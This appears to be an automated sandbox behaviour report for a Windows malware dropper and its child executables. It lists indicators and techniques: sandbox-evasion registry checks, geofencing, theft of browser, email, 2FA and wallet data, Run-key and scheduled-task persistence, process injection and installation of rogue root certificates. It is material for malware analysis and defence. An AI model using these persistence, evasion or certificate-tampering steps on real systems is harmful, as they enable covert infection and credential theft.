djvu | 6f6585d3df024c6e411a075d856c79cc7a70e5509006e53dcaafeb8fc418fdf8

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	05TybaqwOLmxxAsxKLzCsfl9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	05TybaqwOLmxxAsxKLzCsfl9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AaficVH4L5Qb0ztZkci11m6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AaficVH4L5Qb0ztZkci11m6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	0qKrAjc0SiUb1ynXHL70bbGo.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	QXZ611Eg7tflT4Rlnw5ZnIPk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	ebf60ae71e4830f9e07d78e9abf7d764.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sahiba_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sahiba_6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	obZ5_oFH3z5yYCj0_3X_W0AY.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	V8pjfGfERM2Nxkbd0dskcy9m.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	jj3AfhOLjUCor7dXrjDTtcfT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	fxw28JlVcabAMLadl853FYD0.exe

Loads dropped DLL 30 IoCs

pid	Process
2248	setup_install.exe
2248	setup_install.exe
2248	setup_install.exe
2248	setup_install.exe
2248	setup_install.exe
2248	setup_install.exe
1964	sahiba_2.exe
4208	rundll32.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
3688	7BelNYNDVCrMCBstTTNUA0pf.exe
4864	0qKrAjc0SiUb1ynXHL70bbGo.exe
4864	0qKrAjc0SiUb1ynXHL70bbGo.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe
5100	dada.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	sahiba_7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\dada = "C:\\Users\\Admin\\Documents\\jj3AfhOLjUCor7dXrjDTtcfT.exe"	jj3AfhOLjUCor7dXrjDTtcfT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msprrsti = "\"C:\\Users\\Admin\\afazxbts.exe\""	WerFault.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mzqdjnr = "\"C:\\Users\\Admin\\AppData\\Roaming\\Lmeurft\\Mzqdjnr.exe\""	fxw28JlVcabAMLadl853FYD0.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	05TybaqwOLmxxAsxKLzCsfl9.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AaficVH4L5Qb0ztZkci11m6f.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com
12	ipinfo.io
13	ipinfo.io
197	ipinfo.io
232	ipinfo.io
233	ipinfo.io

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2168	StTddMc5IECUW40Vn8_yqARv.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 3788 set thread context of 1832	3788	05TybaqwOLmxxAsxKLzCsfl9.exe	138
PID 4428 set thread context of 2040	4428	WerFault.exe	159
PID 4348 set thread context of 1800	4348	sc.exe	162
PID 4420 set thread context of 4688	4420	MesNZA1rz4yChKHYw0xT_UbL.exe	163
PID 2908 set thread context of 2192	2908	AaficVH4L5Qb0ztZkci11m6f.exe	171
PID 3004 set thread context of 2036	3004	pkzvprpk.exe	235
PID 3676 set thread context of 4332	3676	yIt2LmY4lkuKvd_IuB5mcMF7.exe	244
PID 3768 set thread context of 1032	3768	fxw28JlVcabAMLadl853FYD0.exe	251

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\crashreporter.ini	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-crt-stdio-l1-1-0.dll	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-crt-conio-l1-1-0.dll	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-core-localization-l1-2-0.dll	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-core-timezone-l1-1-0.dll	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\firefox.exe	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\IA2Marshal.dll	rundll32.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-crt-multibyte-l1-1-0.dll	rundll32.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	rundll32.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 22 IoCs

pid	pid_target	Process	procid_target
3760	4208	WerFault.exe	106
3748	2076	WerFault.exe	96
4640	364	WerFault.exe	119
3712	4776	WerFault.exe
3900	3644	WerFault.exe
5056	364	WerFault.exe	119
1080	3644	WerFault.exe	148
1760	4688	WerFault.exe	163
3300	4776	WerFault.exe	151
4428	3676	WerFault.exe	146
5040	4776	WerFault.exe	151
1496	2348	WerFault.exe	147
2240	4776	WerFault.exe	151
4176	4776	WerFault.exe	151
4468	4776	WerFault.exe	151
2932	4776	WerFault.exe	151
2404	4776	WerFault.exe	151
3360	4776	WerFault.exe	151
2620	3676	WerFault.exe	146
3792	3676	WerFault.exe	146
3796	3676	WerFault.exe	146
2780	3676	WerFault.exe	146

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe

Checks processor information in registry 2 TTPs 50 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	30ab9ed1-cc5d-44e6-9a6d-03767aa1583f.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	30ab9ed1-cc5d-44e6-9a6d-03767aa1583f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	0qKrAjc0SiUb1ynXHL70bbGo.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dada.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7BelNYNDVCrMCBstTTNUA0pf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7BelNYNDVCrMCBstTTNUA0pf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	0qKrAjc0SiUb1ynXHL70bbGo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dada.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	yIt2LmY4lkuKvd_IuB5mcMF7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3396	schtasks.exe
4888	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3632	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2740	taskkill.exe
2484	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Toolbar	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Process not Found

Modifies registry class 19 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	Process not Found

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sahiba_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sahiba_3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\19286BF3563B8184317E46D015C989E11043DFBA	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\19286BF3563B8184317E46D015C989E11043DFBA\Blob = 03000000010000001400000019286bf3563b8184317e46d015c989e11043dfba20000000010000002d0200003082022930820192a0030201020208535f84d420f01bb5300d06092a864886f70d01010b0500303f3117301506035504030c0e44535420526e6f7420434120583331243022060355040a0c1b4469676974616c205369676e617475726520547275737420436f2e301e170d3230303331333135323734315a170d3234303331323135323734315a303f3117301506035504030c0e44535420526e6f7420434120583331243022060355040a0c1b4469676974616c205369676e617475726520547275737420436f2e30819f300d06092a864886f70d010101050003818d0030818902818100af57d2ba0bf1e294f521e13b9a68d32f6a00fd70f8bb6afef1ec6d7240e141be3a03d0eeb7b2af8f18dc877aa411f43ca49486d77a1c30c3a4ea139bfd20d84d08fe693b0fa7b14523b2bd0c37ffc8c63b94f139c546a7c182fd484395373922f5573e7dfbd49f6e7ca06ba7f43df17b5b4b948da7a4e08e137267d01155405d0203010001a32e302c300f0603551d130101ff040530030101ff30190603551d1104123010820e44535420526e6f74204341205833300d06092a864886f70d01010b0500038181006baa978a63fd17f846a92cefc308b147501cdb2338ac0560e964f7d2deb777628f730e58a6dd489c11e6efb87b3f0f883af3dfdd16c8b187551b5a23830927203856b0bcde2764c8f11bd4cfc7b9e95db3b1d8e4413387ef923871c9af67e25d6d0fb78b25558d372ae3917dd93f58741688be27180be6cf1a71c5991229c55c	rundll32.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3028	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1964	sahiba_2.exe
1964	sahiba_2.exe
3576	jfiag3g_gg.exe
3576	jfiag3g_gg.exe
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
